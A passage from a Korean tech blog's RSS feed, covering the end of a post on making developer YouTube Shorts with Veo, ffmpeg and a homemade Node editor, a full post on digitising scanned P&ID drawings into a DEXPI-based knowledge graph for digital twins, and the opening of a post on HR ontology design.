&lt;p&gt;로고·구독 유도 카드는 &lt;strong&gt;HTML + Playwright&lt;/strong&gt;로 렌더해 PNG로 뽑았습니다. AI가 글자를 못 그리는 문제를 피하면서, 다크 톤 그라데이션·글래스모피즘을 그대로 쓸 수 있어서요. (이 방식은 &lt;a href=&quot;/html-to-png-image-generation/&quot;&gt;HTML과 Playwright로 블로그 이미지 자동 생성하기&lt;/a&gt; 글에서 자세히 다뤘습니다.)&lt;/p&gt;
&lt;h3&gt;썸네일도 자동화&lt;/h3&gt;
&lt;p&gt;숏츠 커버는 &lt;strong&gt;홀 vs 주방&lt;/strong&gt; 대비 구도로 만들었습니다. 왼쪽 절반은 다이닝 홀, 오른쪽 절반은 주방 스틸을 깔고, 가운데 시안 라인 + 초대형 &quot;프론트엔드 VS 백엔드&quot; 타이포. 주제가 0.5초에 읽히게요. 이 스틸은 &lt;strong&gt;본편 영상에서 프레임을 추출&lt;/strong&gt;해 썼습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4단계. 나만의 로컬 웹 편집기 만들기&lt;/h2&gt;
&lt;p&gt;여기까지 오니 매번 &lt;code class=&quot;language-text&quot;&gt;captions.json&lt;/code&gt;을 손으로 고치고 전체 렌더를 다시 돌려야 했습니다. 불편했죠. 그래서 &lt;strong&gt;전용 편집기를 직접 만들었습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;CapCut 같은 범용 편집기도 있지만, 제 숏츠는 &lt;strong&gt;&quot;클립 5개 + 키워드 자막 + 고정 인트로/아웃트로&quot;라는 정형 포맷&lt;/strong&gt;이라 전용 편집기가 훨씬 빠릅니다.&lt;/p&gt;
&lt;h3&gt;설계 — 의존성 0&lt;/h3&gt;
&lt;p&gt;핵심 아이디어는 &lt;strong&gt;미리보기는 즉시, 최종 렌더만 무겁게&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;[브라우저 편집기]  ←→  [작은 Node 서버]  ←→  [ffmpeg + Edge headless]
   실시간 자막 오버레이     API                최종 렌더 / 썸네일 PNG&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;미리보기&lt;/strong&gt;: 클립을 이어붙인 저해상 영상 위에 자막을 &lt;strong&gt;HTML/CSS로 오버레이&lt;/strong&gt;. 텍스트·시간·색을 바꿔도 재렌더 없이 즉시 반영.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;최종 렌더&lt;/strong&gt;: 버튼을 누르면 &lt;code class=&quot;language-text&quot;&gt;ffmpeg&lt;/code&gt;로 자막을 번인.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;썸네일 PNG&lt;/strong&gt;: Windows 기본 &lt;strong&gt;Edge를 헤드리스로&lt;/strong&gt; 호출해 생성(&lt;code class=&quot;language-text&quot;&gt;--headless=new --screenshot&lt;/code&gt;). 별도 라이브러리 설치 없이요.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Node 내장 &lt;code class=&quot;language-text&quot;&gt;http&lt;/code&gt; 모듈만 썼습니다. npm 의존성이 하나도 없습니다.&lt;/p&gt;
&lt;h3&gt;만든 기능&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;타임라인 드래그 편집&lt;/strong&gt; — 자막 블록을 끌어 이동, 양끝을 끌어 길이 조절 (숫자 입력 대신)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;미리보기에서 직접 조작&lt;/strong&gt; — 영상 위 자막을 드래그해 위치 이동, 모서리 핸들로 크기 조절&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;자막별 색·위치·크기·글꼴&lt;/strong&gt; 개별 지정&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;클립 순서 변경/트리밍&lt;/strong&gt;, &lt;strong&gt;BGM 트랙/볼륨&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;저장 상태 표시 + 버전 스냅샷&lt;/strong&gt;(중요한 시점을 남겨 되돌리기)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;정형 포맷이라 새 편은 영상 폴더와 자막 설정만 준비하고 버튼 한 번이면 끝납니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;조회수를 올리는 5가지 포인트&lt;/h2&gt;
&lt;p&gt;만들면서 정리한, 개발 숏츠에서 특히 중요한 것들입니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;앞 3초&lt;/strong&gt; — 로고 인트로 금지. 첫 프레임부터 질문 자막.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;브랜드 일관성&lt;/strong&gt; — 인트로·본편·아웃트로의 톤과 캐릭터를 통일. 세계관이 바뀌면 이탈합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;전용 썸네일&lt;/strong&gt; — 커버만 봐도 주제(프론트 vs 백엔드)가 읽히게.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;루프/다음 편 훅&lt;/strong&gt; — 끝에서 다음 질문을 던져 재시청·연속 시청 유도.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;상시 자막&lt;/strong&gt; — 무음으로 보는 시청자가 많습니다. 키워드는 항상 화면에.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;마치며&lt;/h2&gt;
&lt;p&gt;정리하면, &lt;strong&gt;개발 숏츠 한 편은 이렇게 만들어집니다.&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;비유 하나로 대본을 잡고&lt;/li&gt;
&lt;li&gt;Veo 프롬프트로 8초 클립을 뽑고&lt;/li&gt;
&lt;li&gt;ffmpeg로 자막·인트로·아웃트로를 입히고&lt;/li&gt;
&lt;li&gt;직접 만든 편집기에서 다듬어 렌더&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;촬영도, 편집 프로그램 구독도 없이 개발 이야기를 영상으로 옮길 수 있다는 게 저에겐 꽤 큰 발견이었습니다. 다음 편에서는 &lt;strong&gt;캐릭터 마스코트를 본편까지 등장시켜 세계관을 통일한 과정&lt;/strong&gt;을 공유하려 합니다.&lt;/p&gt;
&lt;p&gt;블로그 글을 영상으로 재활용하는 또 다른 방법이 궁금하시면 &lt;a href=&quot;/blog-to-youtube-with-notebooklm/&quot;&gt;블로그 글을 유튜브 영상으로 만드는 법&lt;/a&gt;도 함께 보세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;🔒 보너스 — 비밀 콘텐츠&lt;/h2&gt;
&lt;p&gt;본문에서 소개한 &lt;strong&gt;Cody 세계관 전체 샷 프롬프트 팩&lt;/strong&gt;과 편집기 구조 노트는 비밀번호로 여는 &lt;strong&gt;비밀 콘텐츠&lt;/strong&gt;로 따로 공개합니다.&lt;/p&gt;
&lt;p&gt;👉 &lt;a href=&quot;/secret/shorts-bonus.html&quot;&gt;비밀 콘텐츠 열기&lt;/a&gt; — 비밀번호가 필요합니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;비밀번호는 뉴스레터/커뮤니티에서 안내드립니다. (정적 사이트에서도 원문을 &lt;strong&gt;AES 암호화&lt;/strong&gt;해 담아, 비밀번호를 알아야 복호화됩니다.)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q. Veo 없이도 만들 수 있나요?&lt;/strong&gt;
네. Runway, Kling, Sora 등 다른 AI 영상 툴로 대체할 수 있습니다. 다만 툴마다 오디오 생성 여부·한국어 지원이 달라서, 대사는 후반 TTS로 넣는 방식이 가장 안정적입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. 자막을 왜 AI 영상에 직접 안 넣나요?&lt;/strong&gt;
Veo/Sora/Kling 같은 툴은 화면에 정확한 한글이나 코드를 못 그립니다(글자가 뭉개짐). 그래서 배경 영상만 AI로 만들고, 자막·코드·핵심 문구는 후반에 &lt;code class=&quot;language-text&quot;&gt;ffmpeg&lt;/code&gt;(ASS 자막)로 번인하는 게 정석입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. 편집기를 꼭 만들어야 하나요?&lt;/strong&gt;
아닙니다. CapCut 같은 범용 편집기로 충분히 시작할 수 있습니다. 다만 같은 포맷의 영상을 반복 제작한다면, 전용 편집기가 시간을 크게 아껴줍니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. 얼굴 노출이 꼭 필요한가요?&lt;/strong&gt;
아니요. 이 방식은 전부 얼굴 없이(faceless) 만듭니다. 나레이션은 AI 음성 또는 TTS로 대체합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. 클립 길이는 왜 8초인가요?&lt;/strong&gt;
Veo 3의 기본 출력 단위가 8초입니다. 그래서 처음부터 8초 단위로 대본을 쪼개 설계하면 툴과 싸우지 않고 매끄럽게 이어집니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[죽은 P&ID를 지식 그래프로 — 스캔 도면 디지털화 파이프라인]]></title><description><![CDATA[죽은 P&ID를 지식 그래프로 — 스캔 도면 디지털화 파이프라인 커버 안녕하세요, 자바파커입니다. "P&ID가 수백 장 있는데, 전부 옛날에 종이로 스캔한 PDF…]]></description><link>https://blog.javapark.kr/pid-to-knowledge-graph/</link><guid isPermaLink="false">https://blog.javapark.kr/pid-to-knowledge-graph/</guid><pubDate>Wed, 17 Jun 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/pid-to-knowledge-graph.png&quot; alt=&quot;죽은 P&amp;#x26;ID를 지식 그래프로 — 스캔 도면 디지털화 파이프라인 커버&quot;&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;P&amp;#x26;ID가 수백 장 있는데, 전부 옛날에 종이로 스캔한 PDF입니다. 이걸로 디지털 트윈을 만들 수 있을까요?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;공정 플랜트의 디지털 트윈을 이야기하면 거의 항상 이 벽에 부딪힙니다. 설계 자산의 뿌리인 P&amp;#x26;ID(공정배관계장도)가 &lt;strong&gt;기계가 읽을 수 없는 &quot;죽은&quot; PDF·스캔 이미지&lt;/strong&gt;로만 남아 있는 경우죠.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;가능합니다. 단, &quot;PDF 자동 변환&quot;이 아니라 &quot;AI 보조 + 엔지니어 검증으로 레거시 도면을 구조화 데이터로 재캡처하는 프로젝트&quot;로 봐야 합니다.&lt;/strong&gt; 마음가짐을 이렇게 바꾸지 않으면 자동화율 기대치 때문에 프로젝트가 좌초합니다.&lt;/p&gt;
&lt;p&gt;이 글에서는 죽은 P&amp;#x26;ID 한 장이 &lt;strong&gt;지식 그래프 → 디지털 트윈&lt;/strong&gt;으로 가는 전 과정을, 특히 가장 어려운 &lt;strong&gt;디지털화 단계&lt;/strong&gt;를 중심으로 정리합니다. (&quot;왜 표가 아니라 그래프인가&quot;가 궁금하시면 먼저 &lt;a href=&quot;/hr-work-ontology-design/&quot;&gt;인력관리 온톨로지 설계 글&lt;/a&gt;이나 &lt;a href=&quot;/ontology-search-01-why/&quot;&gt;온톨로지 기반 검색 1편&lt;/a&gt;을 보고 오시면 흐름이 이어집니다.)&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왜 P&amp;#x26;ID는 지식 그래프와 천생연분인가&lt;/h2&gt;
&lt;p&gt;P&amp;#x26;ID는 본질적으로 &lt;strong&gt;그래프&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;노드&lt;/strong&gt;: 펌프, 용기, 밸브, 계기, 노즐&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;엣지&lt;/strong&gt;: 배관 라인, 계장 신호선&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&quot;P-101 하류로 첫 차단밸브까지 추적&quot;, &quot;PIC-200 컨트롤러에 신호를 주는 계기들&quot;, &quot;이 밸브가 고장 나면 영향받는 범위&quot; — 전부 &lt;strong&gt;그래프 순회&lt;/strong&gt;입니다. 표(스프레드시트)로 누르는 순간 이 연결이 사라지죠. 인력관리 글에서 했던 논리가 여기서도 그대로 적용됩니다.&lt;/p&gt;
&lt;p&gt;그래서 목표 표현형은 처음부터 정해져 있습니다. &lt;strong&gt;온톨로지 기반 지식 그래프.&lt;/strong&gt; 문제는 &quot;어떻게 표현하느냐&quot;가 아니라 &lt;strong&gt;&quot;죽은 픽셀에서 어떻게 그 그래프를 끄집어내느냐&quot;&lt;/strong&gt; 입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;시작 전에 — &quot;죽은 PDF&quot;의 두 종류부터 구분하세요&lt;/h2&gt;
&lt;p&gt;이게 가장 큰 갈림길인데 의외로 많이들 건너뜁니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;종류&lt;/th&gt;
&lt;th&gt;특징&lt;/th&gt;
&lt;th&gt;난이도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;born-digital PDF&lt;/strong&gt; (CAD에서 인쇄만)&lt;/td&gt;
&lt;td&gt;안에 &lt;strong&gt;벡터 선 + 텍스트 객체가 살아있음&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;중 — 픽셀 인식 거의 불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;진짜 스캔 이미지&lt;/strong&gt; (종이를 스캔)&lt;/td&gt;
&lt;td&gt;순수 래스터, 노이즈·기울어짐&lt;/td&gt;
&lt;td&gt;상 — 풀 CV 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;pdfminer&lt;/code&gt;·&lt;code class=&quot;language-text&quot;&gt;pdfplumber&lt;/code&gt; 같은 파서로 PDF 내부를 먼저 까보세요.&lt;/strong&gt; &quot;죽었다&quot;고 단정한 PDF의 상당수가 실은 &lt;strong&gt;벡터 경로와 텍스트 좌표를 그대로 품고&lt;/strong&gt; 있습니다. 그러면 선 좌표·태그 텍스트가 픽셀 추론 없이 바로 나와서 &lt;strong&gt;연결 복원 정확도가 10배&lt;/strong&gt; 차이납니다.&lt;/p&gt;
&lt;p&gt;진짜 스캔본일 때만 아래 풀 CV 파이프라인으로 갑니다. 첫 단계는 &quot;이 도면이 어느 쪽인가&quot;를 가려내는 것입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;풀 CV 파이프라인 — 스캔본을 그래프로&lt;/h2&gt;
&lt;p&gt;진짜 래스터 스캔본 기준, 전체 흐름은 이렇습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;스캔본
 → ① 전처리      : 디스큐·이진화·디워프, 300DPI+ 재스캔, 대형 도면 타일 분할
 → ② 심볼 검출   : 객체탐지(YOLO/DETR) — 펌프·밸브·계기·용기
 → ③ 텍스트/OCR  : 태그번호(FT-101)·라인번호 인식 + 가장 가까운 심볼에 귀속
 → ④ 라인 검출   : 배관/신호선 벡터화, 실선·점선 구분, 크로싱(hop) vs 분기(tee)
 → ⑤ 위상 복원   : 심볼 포트 ↔ 라인 끝점 연결, 오프페이지 커넥터로 시트 간 연결
 → ⑥ 휴먼 검증   : 신뢰도 낮은 항목만 리뷰 UI로 라우팅 + 능동학습
 → ⑦ 표준 매핑   : DEXPI / ISO 15926 어휘로 매핑 → 지식 그래프 적재&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;② 심볼 검출 — 범용 인식기를 만들려 하지 마세요&lt;/h3&gt;
&lt;p&gt;객체탐지(YOLO·DETR 계열)로 펌프·밸브·계기를 잡습니다. 그런데 P&amp;#x26;ID 심볼은 &lt;strong&gt;종류가 수십~수백 개, 작고 밀집·중첩&lt;/strong&gt;돼 있고, 결정적으로 &lt;strong&gt;회사·EPC마다 심볼 스타일이 다릅니다.&lt;/strong&gt; ISA-5.1 같은 표준이 있어도 현장 도면은 사내 템플릿으로 변형돼 있어요.&lt;/p&gt;
&lt;p&gt;현실적 출발점:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;도면의 범례(legend) 시트를 심볼 라이브러리로 부트스트랩&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;심볼 라이브러리로 &lt;strong&gt;합성 데이터(synthetic data)&lt;/strong&gt; 를 만들어 초기 학습&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;도면 패밀리별로 범위를 좁혀&lt;/strong&gt; 학습 (한 발주처 도면은 스타일이 일관됨)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;④ 라인 검출 — 선의 &quot;종류&quot;와 &quot;교차&quot;가 핵심&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;종류&lt;/strong&gt;: 실선(공정 배관) / 점선·파선(계장 신호) / 일점쇄선(전기) 을 대시 패턴으로 구분&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;교차&lt;/strong&gt;: 두 선이 만나는 지점이 &lt;strong&gt;그냥 지나감(hop, 점프 아크)&lt;/strong&gt; 인지 &lt;strong&gt;연결(tee 분기)&lt;/strong&gt; 인지 판별 — 여기서 틀리면 위상이 통째로 어긋납니다&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;⑤ 위상 복원 — 여기가 끝판왕입니다&lt;/h3&gt;
&lt;p&gt;심볼의 포트(노즐)와 라인 끝점을 연결해 그래프를 조립하고, &lt;strong&gt;오프페이지 커넥터 태그&lt;/strong&gt;로 여러 시트에 걸친 라인을 이어붙입니다. 오류가 누적되는 구간이라, &lt;strong&gt;연결 하나가 틀리면 &quot;P-101 하류 추적&quot; 결과가 전부 어긋납니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;그래서 엔지니어링 데이터에서 &lt;strong&gt;휴먼인더루프 검증은 타협 불가&lt;/strong&gt;입니다. 잘못된 연결은 단순 오타가 아니라 &lt;strong&gt;안전 리스크&lt;/strong&gt;니까요. 신뢰도 점수가 낮은 항목만 리뷰 UI로 보내고, 엔지니어의 교정이 다시 모델 재학습으로 돌아오는 &lt;strong&gt;능동학습 루프&lt;/strong&gt;를 설계하세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2026년의 함정 — VLM은 어디에 쓰고, 어디에 안 쓰나&lt;/h2&gt;
&lt;p&gt;요즘 가장 오해가 많은 지점입니다. &quot;비전 LLM에 도면을 통째로 넣고 그래프 뽑아달라고 하면 되지 않나?&quot;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;✅ &lt;strong&gt;VLM이 잘하는 것&lt;/strong&gt;: 범례 해석, 태그 텍스트 판독, 심볼 few-shot 분류, &lt;strong&gt;추출된 그래프를 규칙으로 검증·교정&lt;/strong&gt;(&quot;이 제어 루프가 안 닫혔다&quot;, &quot;이 용기엔 안전밸브(PSV)가 없다&quot;)&lt;/li&gt;
&lt;li&gt;❌ &lt;strong&gt;VLM을 믿으면 안 되는 것&lt;/strong&gt;: &lt;strong&gt;픽셀 단위 정밀 연결/위상.&lt;/strong&gt; VLM은 그럴듯한 연결을 &lt;strong&gt;환각(hallucinate)&lt;/strong&gt; 합니다. 결과물이 깨끗해 보여서 더 위험해요.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;정답은 하이브리드입니다.&lt;/strong&gt; 위상·기하는 고전 CV와 기하 연산으로 정확하게, 의미·검증·범례 해석은 VLM으로. &lt;strong&gt;위상 복원을 VLM 단독에 맡기지 마세요.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;표준으로 표현하기 — 바퀴를 새로 만들지 말 것&lt;/h2&gt;
&lt;p&gt;그래프를 뽑았으면 어휘로 옮깁니다. 여기서 직접 클래스를 설계하기보다 &lt;strong&gt;이미 있는 산업 표준&lt;/strong&gt;을 쓰는 게 정석입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;표준&lt;/th&gt;
&lt;th&gt;무엇&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DEXPI&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;P&amp;#x26;ID 데이터 교환 표준(Proteus XML), ISO 15926 기반&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ISO 15926&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;플랜트 생애주기 데이터 모델 + 참조 데이터 라이브러리(RDL)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ISA-5.1&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;계기·심볼 표기 표준&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;여기서 &lt;a href=&quot;/hr-work-ontology-design/&quot;&gt;인력관리 글의 &quot;스키마 vs 인스턴스&quot; 구분&lt;/a&gt;이 그대로 적용됩니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;스키마(TBox)&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;Pump&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;Valve&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;Instrument&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;PipingSegment&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;Nozzle&lt;/code&gt; 클래스와 &lt;code class=&quot;language-text&quot;&gt;connectedTo&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;hasPort&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;measures&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;controls&lt;/code&gt; 관계 — DEXPI 클래스가 곧 스키마&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;인스턴스(ABox)&lt;/strong&gt;: 실제 도면에서 뽑은 &lt;code class=&quot;language-text&quot;&gt;P-101&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;FT-101&lt;/code&gt;, 그 사이의 연결 — 도면마다 쏟아지는 데이터&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;DEXPI(Proteus XML)를 정규 중간 포맷으로&lt;/strong&gt; 두는 걸 권합니다. 그래야 나중에 인텔리전트 P&amp;#x26;ID 도구(SmartPlant, AVEVA 등)와도 호환되고, 그래프 DB(Neo4j) 또는 RDF 트리플스토어로 적재하기도 깔끔합니다. 설계 규칙 검증은 &lt;strong&gt;SHACL/SPARQL&lt;/strong&gt;로 — &quot;모든 용기엔 PSV&quot;, &quot;모든 제어 루프는 닫혀야&quot; 같은 규칙을 자동으로 돌릴 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;그래서, 디지털 트윈까지 — 지식 그래프는 &quot;골격&quot;입니다&lt;/h2&gt;
&lt;p&gt;여기까지 오면 &lt;strong&gt;as-designed 정적 구조(연결 골격)&lt;/strong&gt; 를 가진 지식 그래프가 생깁니다. 하지만 이것만으로는 &quot;트윈&quot;이 아니에요. 진짜 디지털 트윈은 두 축이 더 붙습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;P&amp;amp;ID → 지식 그래프   ←─ 정적 골격: 무엇이 무엇에 연결됐나 (이 글의 범위)
   +  실시간 데이터   ←─ OPC UA / Historian: 센서 태그를 KG 계기 노드에 바인딩 (살아있는 상태)
   +  거동 모델      ←─ 공정 시뮬레이션 / 서로게이트: &quot;지금 이러면 어떻게 될까&quot;
   ──────────────────────────────────────────────
   =  디지털 트윈&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;지식 그래프의 진짜 가치는 여기서 나옵니다. 같은 태그(&lt;code class=&quot;language-text&quot;&gt;FT-101&lt;/code&gt;)가 P&amp;#x26;ID에도, 데이터시트에도, 제어 시스템에도, 정비 이력에도 흩어져 있는데 — &lt;strong&gt;KG가 동일성(identity)으로 이 모든 걸 한 노드에 묶는 의미 통합 레이어(single source of truth)&lt;/strong&gt; 가 됩니다. 산업 표준 트윈 컨테이너인 &lt;strong&gt;Asset Administration Shell(AAS, Industrie 4.0)&lt;/strong&gt; 와 연계하면 운영 시스템과의 접점도 표준화할 수 있습니다.&lt;/p&gt;
&lt;p&gt;도면 재출력(redraw)은 사실 부산물에 가깝습니다. 단, 같은 그림으로 다시 그리려면 위상만으론 부족하고 &lt;strong&gt;레이아웃 좌표(geometry)를 주석 속성으로 함께 보존&lt;/strong&gt;해야 한다는 점만 기억하세요. 시뮬레이션·영향분석이 목적이면 위상+속성만으로 충분합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;현실적 체크리스트&lt;/h2&gt;
&lt;p&gt;오래 헤매지 않으려면 이 순서로 점검하세요.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;벡터/텍스트 레이어부터 추출&lt;/strong&gt; — 풀 CV는 진짜 스캔본에만 적용&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;buy vs build를 먼저 따져라&lt;/strong&gt; — 레거시 일괄 전환이 목적이면 Hexagon·AVEVA·전문 벤더의 디지털화 서비스부터 평가. 평생 쓸 인식기 자체 구축은 별개의 제품 사업입니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;도면 패밀리별로 범위를 좁혀라&lt;/strong&gt; — 범용 인식기를 노리면 망합니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;신뢰도 기반 휴먼인더루프 + 능동학습&lt;/strong&gt; — 1호기는 사람 손이 많이 간다고 각오&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DEXPI를 정규 중간 포맷으로&lt;/strong&gt; → 그 다음에 KG 적재&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;정확도는 요소별로 측정&lt;/strong&gt; — 심볼/텍스트/&lt;strong&gt;연결&lt;/strong&gt; 각각 precision·recall. 진짜 KPI는 &lt;strong&gt;&quot;연결(connectivity) recall&quot;&lt;/strong&gt; 입니다&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1. 스캔본 100장이면 자동화율은 얼마나 기대할 수 있나요?&lt;/strong&gt;
도면 품질·일관성에 따라 천차만별이라 단정하기 어렵습니다. 다만 패턴은 분명합니다 — &lt;strong&gt;심볼·텍스트 인식은 비교적 높게, 연결(위상) 복원은 낮게&lt;/strong&gt; 나옵니다. 그래서 &quot;연결 recall&quot;을 KPI로 잡고, 1호기는 자동 추출 + 대량 수작업 검증으로 가되 능동학습으로 회차를 거듭하며 자동화율을 끌어올리는 전략이 현실적입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2. 그냥 비전 LLM에 도면을 넣고 JSON으로 그래프를 받으면 안 되나요?&lt;/strong&gt;
태그 판독·심볼 분류·범례 해석·검증에는 훌륭합니다. 하지만 &lt;strong&gt;정밀 위상 복원은 환각 위험&lt;/strong&gt;이 커서 단독으로 쓰면 안 됩니다. 깨끗해 보이는 틀린 연결이 가장 위험해요. 고전 CV로 위상을 잡고 VLM으로 의미·검증을 붙이는 하이브리드를 권합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3. 꼭 RDF/OWL이어야 하나요? 속성 그래프(Neo4j)로는 안 되나요?&lt;/strong&gt;
둘 다 됩니다. 표준 상호운용(ISO 15926 RDL과의 연계, 추론)이 중요하면 RDF 트리플스토어가, 빠른 위상 순회 쿼리가 잦으면 속성 그래프가 편합니다. 핵심은 &lt;strong&gt;DEXPI 같은 중간 포맷을 거쳐 표현형은 나중에 갈아끼울 수 있게&lt;/strong&gt; 두는 것입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;여러분의 P&amp;#x26;ID는 born-digital인가요, 진짜 스캔본인가요? 그 한 가지만 먼저 확인해도 프로젝트의 난이도와 일정이 절반은 결정됩니다. 레거시 도면 디지털화를 고민 중이시라면 댓글로 상황을 공유해주세요 — 같이 풀어보겠습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[회사 업무·인력관리 온톨로지 설계 — 직원·조직·스킬을 그래프로 모델링하기]]></title><description><![CDATA[회사 업무·인력관리 온톨로지 설계 커버 — 직원·조직·스킬을 그래프로 모델링하기 안녕하세요, 자바파커입니다. "백엔드 결제 모듈 맡길 수 있는, 지금 여유 있는 사람 누구죠?" — 이 한 줄에 답하려고 엑셀 세 개를 vlookup…]]></description><link>https://blog.javapark.kr/hr-work-ontology-design/</link><guid isPermaLink="false">https://blog.javapark.kr/hr-work-ontology-design/</guid><pubDate>Tue, 16 Jun 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img 